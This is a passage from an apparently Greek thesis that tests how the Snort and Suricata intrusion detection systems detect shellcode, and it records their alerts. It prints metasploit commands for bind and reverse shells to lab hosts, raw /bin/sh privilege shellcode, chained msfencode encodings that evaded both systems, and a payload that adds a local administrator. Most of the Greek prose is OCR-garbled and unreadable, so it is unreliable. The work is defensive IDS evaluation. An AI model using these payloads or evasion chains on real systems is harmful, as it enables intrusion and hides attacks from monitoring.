LPORT=4444 Size=312 Encoder=PexFnstenvSub

29  win32_bind_dllinject - EXITFUNC=seh DLL=c:\ . .
LPORT=4444 Size=312 Encoder=Pex

30  win32_bind - EXITFUNC=seh LPORT=4444 ) )
Size=709 Encoder=PexAlphaNum

31  db "cmd.exe /c net user USERNAME PASSWORD
/IADD && net localgroup Administrators /ADD 0 0
USERNAME"

32  Cisco: Creates a new VTY, allocates a password then 0 0
sets the privilege level to 15

33 Rothenburg Shellcode 2 2

34 Mainz/Bielefeld Shellcode 2 0
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8.2.2.9.1 SHELLCODE ** sparc setuid 0

To shellcode avtrg ¢ doxkyng eivan éva amd ta shellcodes mov €&’ opiopod meprhappavel o
Pytbull. O mivaxag mov axoiovBel meptiapPavel Tig £100mOMOELG TOL TaPdyONKAV Kot oo To dVO
IDSs.

IMivakag 8-58: Eldomomjosig tev Snort ke Suricata yio to SHELLCODE ** sparc setuid 0

[**] [1:647:13] INDICATOR-SHELLCODE Oracle sparc setuid 0 [**] [Classification: A System
Call was Detected] [Priority: 2]

8.2.2.9.2 SHELLCODE x86 setgid

To shellcode avtrg g doxkyng eivan éva amd ta shellcodes mov €&’ opiopod meprhappavel o
Pytbull. O wivaxag mov axoiovbel meptiapPaver Tig £100TOMGELG TOL TAPAYONKAV Kot omd To dVO

IDSs.

IMivakag 8-59: Ewdomonjosig tev Snort kor Suricata yuw to  SHELLCODE x86 setgid

[**] [1:649:13] INDICATOR-SHELLCODE x86 setgid 0 [**] [Classification: A System Call was
Detected] [Priority: 2]

8.2.2.9.3 SHELLCODE IRIX SGI + NOOP

To shellcode avtrig ¢ dokung sivar éva amd ta shellcodes mov €€’ opiopod nepthappavel o

Pytbull. Kavéva amd ta 600 IDSs dev mapryoye 180m0mMoels Katd ) S1dpKelo TG SOKIUNG.

8.2.2.9.4 SHELLCODE metasploit windows/exec

To shellcode avtod onpovpynnke pe ™ Porbeia tov metasploit, exktedmdvtog TV TOPUKAT® EVTOAN:
msfpayload windows/exec EXITFUNC=thread CMD="taskkill /PID 12345" P

Kavéva amo ta 600 IDSs dev mopnyaye £100TOMGELG KOTA TN SIAPKELD TNG SOKIUNC.

8.2.2.9.5 SHELLCODE metasploit windows/shell_bind_tcp

To shellcode avtd dnuovpyndnke pe ™ Pordeia tov metasploit, ekteddvtag TV TOPUKAT® EVTOAN:

msfpayload windows/shell_bind_tcp EXITFUNC=process LPORT=4444 RHOST=192.168.56.22 P
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Koavéva amo ta dvo IDSs dev mapnyoye 100momoelc katd T d1dpKela TG SOKIUNG.

8.2.2.9.6 SHELLCODE metasploit windows/shell_reverse_tcp

To shellcode avtd dnpovpynnke pe ™ Ponbeia tov metasploit, exktedmdvtog TV TOPUKAT® EVIOAN:

msfpayload windows/shell_reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.56.51
P

Kavéva amo ta 600 IDSs dev mopniyaye £100TOMGELG KOTA TN SIAPKELD TNG SOKIUNC.

8.2.2.9.7 SHELLCODE metasploit windows/upexec/bind_tcp

To shellcode avtic ¢ dokiunc ekteleitar oe dvo @doelg. Anpovpyndnke pe ™ Bondeia tov

metasploit, exteldvrog Tic Tapakdtm eviolic:

msfpayload windows/upexec/bind_tcp EXITFUNC=process LPORT=4444 PEXEC="screenshot.exe"
RHOST=192.168.56.22 P

Ko

msfpayload windows/upexec/bind_tcp EXITFUNC=process LPORT=4444 PEXEC="screenshot.exe"
RHOST=192.168.56.22 P

Kavéva amo ta dvo IDSs dev mapnyaye €100TOMCES KATA TN S1APKELD TG SOKIUNG.

8.2.2.9.8 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0

To shellcode avtrg ¢ dokung eivar éva amd ta shellcodes mov &€’ opiopod mepthappavel o
Pytbull. O mivaxag mov axoiovBei mepthappaver Tig £1860mOMOELG TOL TaPdyONKAV Kot amd To dVO

IDSs.

IMivakoeg 8-60: Ewdomomosig Tv Snort ko Suricata yua to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0

[**] [1:650:13] INDICATOR-SHELLCODE x86 setuid 0 [**] [Classification: A system call was
detected] [Priority: 2]

[**] [1:649:13] INDICATOR-SHELLCODE x86 setgid 0 [**] [Classification: A system call was
detected] [Priority: 2]

8.2.29.9 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder
x86/shikata_ga_nai
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e avt ™ ok ypnoonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
kodiwormomtn shikata_ga nai tov metasploit. T 1t dnuovpyio oavtod tov shellcode,
dnuovpyndnke apykd to apyeio shellcode.bin, to onoio mepeddupave oe binary popen 1o apyikd
shellcode. H onpovpyia avtod tov apyeiov £ywve pe v ektéheorn evog python script o omoio

amoteLovTaV 0o TIC EENG EVIOAEG:

shell=("\x33\xDB\x33\xC0\xB0\x1B\xCD\x80\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xc0\x50\x50\xb 0\
xb5\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\
x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xfi\xfi\xff/bin/sh™)

file = open('shellcode.bin’,'w")

file.write(shell)

file.close()

21 cvvéyela, £yve 1 kodkoroinon tov shelcode, ektehdvTag TV TOPOKATO EVIOAT:
msfencode -b "\x00\x0a\x0d' -i shellcode.bin -t ¢

Kovéva amd ta 600 IDSs dev moapniyaye edomomoelg kotd t owdpkewo ¢ dokiung. A&ilel va
onueiwdel 6t 1o Snort maporo mov dwbéter éva Shared Object Rule yiwo tov kwdikomoint

shikata_ga_nai, dev katdeepe va aviyvedoetl tnv enibeon.

8.2.2.9.10 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder
x86/alpha_mixed

e avt ™ dokur ypnoonomdnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonompévo e Tov
kodwomomtn alpha_mixed tov metasploit. T v kwdikomoinon tov shelcode ektedéotnke 1

TOPAKAT® EVIOAN:
msfencode -e x86/alpha_mixed -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O mivakog mov axoAovdel mepthapfavetl tnv g1domoinon mov wapdydnie kot and ta dvo IDSs.

IMivaxkag 8-61: Ewdomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/alpha_mixed

[**] [1:17339:2] INDICATOR-SHELLCODE x86 generic OS alpha numeric mixed case decoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.11 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder
x86/alpha_upper
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e avt ™ ok ypnowonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonotpuévo pe Tov
kodioromtn alpha_upper tov metasploit. T v kodikomoinon tov shelcode ektedéotnke 1

TOPOKAT® EVTOAN:
msfencode -e x86/alpha_upper -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O wivakag mov akolovBel Teprhapfavel v gwomoinomn mov Tapdydnie kot amd ta dvo 1DSs.

IMivakag 8-62: Ewdomoinon tov Snort kau Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/alpha_ upper

[**] [1:17340:3] INDICATOR-SHELLCODE x86 OS agnostic alpha numeric upper case decoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.12 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder

x86/avoid_underscore_tolower

e avt ™ dokun ypnowonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
koodwomomtn avoid_underscore_tolower tov metasploit. T ™v kwdikomoinon tov shelcode

EKTELEGTNKE 1] TOPOUKAT® EVTOAN:
msfencode -e x86/avoid_underscore_tolower -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O wivakag mov akolovBel Teprhapfaver Tig £100T0MGELG OV TapdyOnKay Kot arnd To 0o IDSS.

IMivaxkag 8-63: Ewdomomoeig tev Snort kon Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/avoid_underscore_tolower

[**] [1:24114:2] INDICATOR-SHELLCODE x86 OS agnostic avoid_underscore_tolower encoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

[**] [1:1378:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:1377:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]
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8.2.2.9.13 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder

x86/call4_dword_xor

e avt ™ dokur] ypnoonomOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonompévo e Tov
kodwomomrn call4_dword_xor tov metasploit. ['ia v k®dwomoinon tov shelcode extedéotnie N

TOPOKATO EVIOAN:
msfencode -e x86/call4_dword_xor -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O mivakog wov akoAovdel Tepthapfavel Tig £100TOMGELG TOL ToPayONKay Kot amd To dvo IDSs.

MMivaxag 8-64: Eldomouocig tav Snort ko Suricata ywa to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/call4_dword_xor

[**] [1:1377:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:17344:2] INDICATOR-SHELLCODE x86 OS agnostic xor dword decoder [**]

[Classification: Executable code was detected]

8.2.2.9.14 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 wusing encoder

x86/context_cpuid

Y& avt ™ doxur ypnoonomOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
kodikomomtn context_cpuid tov metasploit. T v kwdikomoinon tov shelcode exteléotnke 1

TOPOKAT® EVTOAN:
msfencode -e x86/context_cpuid -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O mivakog wov akoAovdel mepthapufavel Tnv e1domoinon mov wapdydnke kot and ta dvo IDSs.

IMivaxag 8-65: Eldomoinon tmv Snort ko Suricata ywe 1o SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/context_cpuid

[**] [1:19282:2] INDICATOR-SHELLCODE x86 OS agnostic cpuid-based context keyed encoder

[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.15 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 wusing encoder

x86/context_stat
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e avt ™ ok ypnoonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
Kmdikormom T context stat tov metasploit. T v kwdikonoinon tov shelcode ekteléotnke 1

TOPOKAT® EVTOAN:
msfencode -e x86/context_stat -b "\x00\x0a\x0d' -i shellcode.bin -t ¢
O wivakag mov akolovBel Teprhapfavel v gwomoinom mov Tapdydnke kot amd ta dvo 1DSs.

IMivaxkag 8-66: Ewdomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/context_stat

[**] [1:19283:2] INDICATOR-SHELLCODE x86 OS agnostic stat-based context keyed encoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.16 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O using encoder x86/

countdown

e avt ™ dokun ypnowonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
Kodwomomty countdown tov metasploit. T'o v kwdwonoinon tov shelcode ektedéomnke n

TOPOKATO EVIOAN:
msfencode -e x86/countdown -b \x00\x0a\x0d' -i shellcode.bin -t ¢
O wivakag mov akorovBel Teprhapfaver my gwomoinomn mov Tapdydnie kot amd ta dvo 1DSs.

IMivakag 8-67: Ewdomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/countdown

[**] [1:19281:2] INDICATOR-SHELLCODE x86 OS agnostic single-byte xor countodwn encoder
[**] [Classification: Executable code was detected] [Priority: 1]

8.2.2.9.17 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder

x86/fnstenv_mov

e avt ™ dokur| ypnoonomOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonompévo e Tov
kodworomtn fnstenv_mov tov metasploit. T v xwdwkoroinon tov shelcode extedéotnie 1

TOPOKATO EVIOAN:
msfencode -e x86/fnstenv_mov -b "\x00\x0a\x0d' -i shellcode.bin -t ¢

O mivaxog mov axoAovdel Teptlapfavel Tig £100T0MoELS TOV ToPayONKay Kot omd To dvo IDSs.
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IMivakag 8-68: Ewdomomceig Tov Snort kon Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/fnstenv_mov

[**] [1:2009247:3] ET SHELLCODE Rothenburg Shellcode [**] [Classification: Executable code
was detected] [Priority: 1]

[**] [1:17322:2] INDICATOR-SHELLCODE x86 OS agnostic fnstenv geteip dword xor decoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.18 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder
x86/jmp_call_additive

e avt ™ dokun ypnouonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonotpuévo pe Tov
kodiorowmtn jmp_call_additive tov metasploit. T'a v kwdikomoinomn tov shelcode sktedéotnke 1

TAPOKAT® EVTOAN:
msfencode -e x86/jmp_call_additive -b "\x00\x0a\x0d" -i shellcode.bin -t ¢
O wivakag mov akolovBel Teprhapfavel v gwomoinom mov Tapdydnke kot amd ta dvo 1DSs.

IMivakag 8-69: Ewdomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/jmp_call_additive

[**] [1:17345:3] INDICATOR-SHELLCODE x86 OS agnostic dword additive feedback decoder

[**] [Classification: Executable code was detected] [Priority: 1]

8.2.2.9.19 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 using encoder x86/nonalpha

e avt ™ dokun ypnouonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonopuévo pe Tov
kodikoromtn nonalpha tov metasploit. T v kwdikomoinon tov shelcode exteléotnke 1

TOPOKATO EVIOAN:
msfencode -e x86/nonalpha -b "\x00\x0a\x0d" -i shellcode.bin -t ¢
O wivakag mov akolovBel Teprhapfavet Tig £100m0MGELG OV TapdyOnKay Kot and To 0o IDSs.

IMivakag 8-70: Ewdomonoeig tev Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/nonalpha

[**] [1:19285:2] INDICATOR-SHELLCODE x86 OS agnostic non-alpha/non-upper

encoder [**] [Classification: Executable Code was Detected] [Priority: 1]
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[**] [1:650:13] INDICATOR-SHELLCODE x86 setuid 0 [**] [Classification: A System Call was
Detected] [Priority: 2]

[**] [1:649:13] INDICATOR-SHELLCODE x86 setgid 0 [**] [Classification: A System Call was
Detected] [Priority: 2]

8.2.29.20 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder
x86/single_static_bit

e avt ™ ok ypnouonoOnke to shellcode g mapaypdpov 8.2.2.9.8, kmdikonompuévo pe Tov
kmdikomowmn single_static_bit tov metasploit. T v kwdikomoinon tov shelcode exteléotnke 1

TAPOKAT® EVTIOAN:
msfencode -e x86/single_static_bit -b "\x00\x0a\x0d" -i shellcode.bin -t ¢
O mivakog mov akolovBel meptAapPavet Tig £100TOMCELS TOL TaPAYON KoY Kot amd ta dvo IDSs.

IMivakag 8-71: Ewdomomoeig tev Snort kon Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/single_static_bit

[**] [1:20989:2] INDICATOR-SHELLCODE x86 OS agnostic single static_bit encoder [**]
[Classification: Executable Code was Detected] [Priority: 1]

[**] [1:648:13] INDICATOR-SHELLCODE x86 NOOP [**] [Classification: Executable Code was
Detected] [Priority: 1]

8.2.2.9.21 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder

x86/alpha_mixed 5 iterations

e avtr ™ dokyn ypnoiporombnke to shellcode g mapaypdeov 8.2.2.9.8, kmdwonompévo mévte
eopég pe tov kmdwomownt alpha_mixed tov metasploit. To v kwdwonoinon tov shelcode

EKTELEGTNKE 1] TOPOKAT® EVTOAN:
msfencode -e x86/alpha_mixed -b "\x00\x0a\x0d' -i shellcode.bin -c 5 -t ¢

To Suricata dgv mapfyoye €100mOMGEIS, eV avTiOéTmg To Snort mapfyoaye tnv €domoinon mov

nmepthoppavet o [ivaxog 8-72.
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IMivakag 8-72: Exdomoinon tov Snort yio to SHELLCODE x86 setgid 0 && SHELLCODE x86

setuid 0 using encoder x86/alpha_mixed 5 iterations

[**] [1:17339:2] INDICATOR-SHELLCODE x86 generic OS alpha numeric mixed case decoder

[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.22 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O wusing encoder

x86/fnstenv_mov 20 iterations

e avt ™ dokun ypnowomombnke to shellcode tng mapaypdpov 8.2.2.9.8, kwdikomomuévo gikoot
eopéc pe tov kwdkomontr fnstenv_mov tov metasploit. T v kwdwkomoinon tov shelcode

EKTEAECTNKE 1 TOPUKAT® EVIOAN:
msfencode -e x86/fnstenv_mov -b "\x00\x0a\x0d" -i shellcode.bin -c 20 -t ¢
O mivakog mov akolovBel meptAapPavet Tig £100TOMCELS TTOL TaPAyONKoY Kot amd ta dvo IDSs.

IMivakag 8-73: Ewdomomceig Tov Snort ke Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoder x86/fnstenv_mov 20 iterations

[**] [1:1378:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:2009247:3] ET SHELLCODE Rothenburg Shellcode [**] [Classification: Executable code
was detected] [Priority: 1]

[**] [1:17322:2] INDICATOR-SHELLCODE x86 OS agnostic fnstenv geteip dword xor decoder

[**] [Classification: Executable code was detected] [Priority: 1]

8.2.2.9.23 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 wusing encoders
x86/alpha_mixed and x86/alpha_upper

Ye ovt t dokn ypnoipomombnke to shellcode g mapaypdpov 8.2.2.9.8, kwducomompévo
dwdoykd pe tovg kwdwomomtég alpha_mixed wou alpha_upper tov metasploit. T v

Kodikomoinon tov shelcode exteléotnie N TOPOKAT® EVTOAN:

msfencode -e x86/alpha_mixed -b "\x00\x0a\x0d' -i shellcode.bin -t raw | msfencode -e
x86/alpha_upper -b "\x00\x0a\x0d" -i shellcode.bin -t ¢
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O mivakag mov akoAovdel mepthappdvel v €1domoinon mov wapdydnke kot amd ta 6vo IDSS. Avtd
7OV SLUTIOTAOVETOL Eval OTL EVTOTILETAL 0 TEAEVTOIOC KWOKOTON TG TOV YPNCILOTOIONKE, KAOMG TO

TOKETO TEPIAAUPAVEL TNV VITOYPOPY] TOV AVTIGTOLYOV OTOKMIIKOTOINTH.

IMivakag 8-74: Ewdomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoders x86/alpha_mixed and x86/alpha_upper

[**] [1:17340:3] INDICATOR-SHELLCODE x86 OS agnostic alpha numeric upper case decoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.24 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O using encoders

x86/alpha_upper, x86/shikata_ga_nai and x86/jmp_call_additive with multiple iterations

Ye avty 1t dokun ypnoipwomombnke to shellcode tng mapaypdpov 8.2.2.9.8, kmdikomomuévo
molMamAég  @opéc  pe  tovg  kmdwkomomtég  x86/alpha_upper, x86/shikata_ga nai ka1
x86/jmp_call_additive Tov metasploit. "o v kwdikomoinon tov shelcode exteléotnke 1 mopoKdT®

EVIOM):

msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d' -i shellcode.bin -c 5 -t raw | msfencode -e
x86/alpha_upper -b "x00\x0a\x0d' -i shellcode.bin -c 2 -t raw | msfencode -e x86/shikata_ga_nai -b
"\x00\x0a\x0d" -i shellcode.bin -c 5 -t raw | msfencode -e x86/jmp_call_additive -b "\x00\x0a\x0d" -i
shellcode.bin-c5-tc

O mivaxog mov akolovbel mepthapPavel v womoinon mov mopdydnke Kot awd ta dvo IDSS. Avtd
7OV JOMIGTOVETAL Eival OTL EVIOTILETOL O TEAEVTAIOG KMOIKOTOMTG TTOL YpNCoToOnke, kabdg to

TOKETO TEPILOUPAVEL TNV VTOYPOPT TOL AVTIGTOLYOV OTOKMIIKOTOWTY.

IMivaxkag 8-75: Eldomoinon tov Snort ko Suricata ywe to SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoders x86/alpha_upper, x86/shikata_ga_nai and

x86/jmp_call_additive with multiple iterations

[**] [1:17345:3] INDICATOR-SHELLCODE x86 OS agnostic dword additive feedback decoder

[**] [Classification: Executable code was detected] [Priority: 1]

8.2.2.9.25 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 wusing encoders
x86/alpha_upper and x86/shikata_ga_nai with multiple iterations
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Ye avty 1t dokun ypnoipomombnke to shellcode tng mapaypdpov 8.2.2.9.8, kwdikomomuévo
noAomAEC Qopég pe toug kmdikomomtég alpha_upper kou shikata_ga nai tov metasploit. T'o v

Kmdikomoinomn tov shelcode ekteléotnke N TOpaKAT® EVIOAN:

msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d' -i shellcode.bin -c 5 -t raw | msfencode -e
x86/alpha_upper -b "x00\x0a\x0d" -i shellcode.bin -c 2 -t raw | msfencode -e x86/shikata_ga_nai -b
"\x00\x0a\x0d" -i shellcode.bin -c 5 -tc

Avtd mov damotmbnke givan 0Tt dev evtomiotnke to shellcode amd kavéva IDS, kabhg dev eivar oe
Béom va aviyvedoovv tov anokmdikorowth tov shikata_ga_nai mov ftav o tedevtaioc Kmdikomom g

OV YPNOLULOTOONKE.

8.2.2.9.26 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid O using encoders

x86/alpha_mixed and x86/avoid_underscore_tolower

Y& ovty 1t dokun ypnolpwomombnke to shellcode tng mapaypdpov 8.2.2.9.8, kwdikomomuévo
dradoykd pe tovg kwdkomomtég alpha_mixed kou avoid_underscore_tolower tov metasploit. T

v kodkoroinon tov shelcode ektedéotnke 1 TOPAKATD EVIOAN:

msfencode -e x86/alpha_mixed -b "x00\x0a\xOd' -i shellcode.bin -t raw | msfencode -e

x86/avoid_underscore_tolower -b "\x00\x0a\x0d' -i shellcode.bin -t ¢

O nivakog mov axkolovfel mepthapPdavel v gwdomnoinon mov mapdydnke kot amd to 6vo IDSs. Avtd
7oL SlOMGTMVETOL gfvar 0Tt evtomileTon 0 TEAEVTAI0G KMOIKOTOTHG OV XpToipomotdnke, Kabmg To

TOKETO TEPIAAUPAVEL TNV VTTOYPOPN TOL AVTIGTOLYOV OTOKMIIKOTONTY.

IMivaxag 8-76: Exdomoinon tov Snort ko Suricata ywe 1o SHELLCODE x86 setgid 0 &&
SHELLCODE x86 setuid 0 using encoders x86/alpha_mixed and x86/avoid_underscore_tolower

[**] [1:24114:2] INDICATOR-SHELLCODE x86 OS agnostic avoid_underscore_tolower encoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

8.2.2.9.27 SHELLCODE x86 setuid 0

To shellcode avtrig ¢ dokung sivar éva amd ta shellcodes mov €€’ opiopod mepthappavel o

Pytbull. O mivaxag mov akolovdel meptiapupavetl tnv edomoinon mov wapdydnke kat oo ta dvo 1DS.

IMivaxkag 8-77: Edomoinon tov Snort ko Suricata ywe, to SHELLCODE x86 setuid 0

[**] [1:650:13] INDICATOR-SHELLCODE x86 setuid 0 [**] [Classification: A system call was
detected] [Priority: 2]
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8.2.2.9.28 win32_bind_dllinject - EXITFUNC=seh  DLL=c:\ LPORT=4444 Size=312

Encoder=PexFnstenvSub

To shellcode avtrg g dokyng eivan éva amd ta shellcodes mov €&’ opiopod mepriappavel o

Pytbull. O mivaxag mov axoiovBel meptiapPavel Tig £100mOMGELG TOL TaPdyONKAY Kot oo To dVO
IDS.

IMivaxkag 8-78: Eldomonoeig tav Snort kon Suricata yw to win32_bind_dllinject -
EXITFUNC=seh DLL=c:\ LPORT=4444 Size=312 Encoder=PexFnstenvSub

[**] [1:2009247:3] ET SHELLCODE Rothenburg Shellcode [**] [Classification: Executable Code
was Detected] [Priority: 1]

[**] [1:17322:2] INDICATOR-SHELLCODE x86 OS agnostic fnstenv geteip dword xor decoder

[**] [Classification: Executable Code was Detected] [Priority: 1]

[**] [1:1378:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]

8.2.2.9.29 win32_bind_dllinject - EXITFUNC=seh DLL=c:\ LPORT=4444 Size=312 Encoder=Pex

To shellcode avtrg ¢ dokng sivar éva amd ta shellcodes mov &€’ opiopod mepthappavel o

Pytbull. O mivaxag mov akolovdel meptiapupaverl Ty edomoinomn mov mapdydnke kat oo ta dvo 1DS.

IMivaxkag 8-79: Eldomoinon tov Snort ko Suricata ywe To win32_bind_dllinject -
EXITFUNC=seh DLL=c:\ LPORT=4444 Size=312 Encoder=Pex

[**] [1:17344:2] INDICATOR-SHELLCODE x86 OS agnostic xor dword decoder [**]

[Classification: Executable code was detected] [Priority: 1]

8.2.2.9.30 win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

To shellcode avtrg ¢ dokyng sivar éva amd ta shellcodes mov €&’ opiopod mepthappavel o

Pytbull. O wivaxag mov akolovdel meptiappavel Ty edomoinon mov mapdydnke kot oo ta dvo 1DS.

IMivaxkag 8-80: Eidomoinon tmv Snort ko Suricata ywe To win32_bind - EXITFUNC=seh
LPORT=4444 Size=709 Encoder=PexAlphaNum

[**] [1:17325:2] INDICATOR-SHELLCODE x86 OS agnostic alpha numeric upper case decoder

variant [**] [Classification: Executable code was detected] [Priority: 1]
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8.2.2.9.31 db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup
Administrators /ADD USERNAME"

To shellcode avtrg g dokyng eivan éva amd ta shellcodes mov €&’ opiopod mepriappavel o
Pytbull, to omoio dnpuovpyel Eva véo xpfHoTn KoL TOV EVIAGOEL GTNV OUASH TOV TOTIKMV S0YEPIOTOV.

Kovéva amo to 600 IDSs dev mopnyarye £100TOMGELG KOTA TN SIAPKELN TNG OOKIUNG.

8.2.2.9.32 Cisco: Creates a new VTY, allocates a password then sets the privilege level to 15

To shellcode avtrg ¢ dokng sivar éva amd ta shellcodes mov €€’ opiopod mepthappavel o

Pytbull. Kavéva omd ta 600 IDSs dev mapryaye 180m0moelg Katd t SidpKelo TG doKiunic.

8.2.2.9.33 Rothenburg Shellcode

To shellcode avtrg g dokyng eivan éva amd ta shellcodes mov €&’ opiopod meprhappavel o
Pytbull. O wivakog mov axolovBel mepthappaver Tig eW0omOMGES OV TAPGYONKAV Kol amd To dVO

IDSs.

IMivaxkag 8-81: Eldomomocig Tov Snort kon Suricata yw tro Rothenburg Shellcode

[**] [1:2009247:3] ET SHELLCODE Rothenburg Shellcode [**] [Classification: Executable Code
was Detected] [Priority: 1]

[**] [1:17322:2] INDICATOR-SHELLCODE x86 OS agnostic fnstenv geteip dword xor decoder
[**] [Classification: Executable Code was Detected] [Priority: 1]

[**] [1:1378:22] PROTOCOL-FTP wu-ftp bad file completion attempt [**] [Classification: Misc
Attack] [Priority: 2]

8.2.2.9.34 Mainz/Bielefeld Shellcode

To shellcode avtig g doxyung eivor éva and to shellcodes mov €€’ opiopov meptlapupdver to
Pytbull. To Suricata dev mapryoye €1860mOMGELG, evd ovTBET®C TO SNOrt mapnyoye v €1d0moinom

nov mepthappavet o Iivaxog 8-82.

IMivakag 8-82: Eidomoinon tov Snort ywa to 8.2.2.9.34 Mainz/Bielefeld Shellcode

[**] [1:648:13] INDICATOR-SHELLCODE x86 NOOP [**] [Classification: Executable Code was
Detected] [Priority: 1]
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8.3 IIBavotnTa aviyvevong embécev @OV  YPNGLUOTOLOVY

TEYVIKES ATTOPVYNG AVIYVELOTG

210y0G NG 0e0TEPNG SOKIUNG TOV TPAYLLATOTOONKE NTaV 1 GVYKpLon Tev dvo IDSS e oyéon pe v
KAVOTNTA TOVG VA, avYVEDLOLV EMBECEIC TOL AEI0TO0VY TEYVIKEG OTOPLYNG aviyvevons. Av Kol oTnv
TPAOTN SOKI| TOL TPOYUUTOTOMONKE ¥PNCLOTOONKAY OPIOUEVES TEYXVIKES ATOPVYNG AViYVELONC,
oe vt TN OevTePN dokun d66nke peyaAdvTepn €upoot oe avtéc, Kabmg amotelodv éva amd Ta
peyodvtepo mpoPfinuata mov avtipetonifovv ta IDS axdpo ko ofjuepa. Katd m Sidpkeia avtov
TOV JoKIUAOV emyelpninke va Ppebodv Teyvikég 11 GLVOLOCUOL TEYVIKOV Ol OMOieg 0dNYyouvV of
oQaipaTa T punyovn aviyvevong tov eéetaldpevav IDSS, ta omoia gite dev emtpénovy kaBoAov TV
aviyvevon uiog emifeong M €YoV ®G OMOTELECUO TNV TOPAY®YN EWOOTONCEDV YOUNAOTEPNG

TPOTEPALOTNTOS OO CVTNV TNG TPOYUOTIKNG OTEANG,

o v mpayuatonoinon avtig g dokung aflomomnke to epyaieio Evader 0.9.8.557 ng
Stonesoft. TIpokerton yio éva framework dokiumv tov IDSS/IPSs évavit mponyuévov teyvikdv
amo@uyng aviyvevong (AETS), to omoio eivon oe Béon va mapdyst avopoln diktvakn kivion
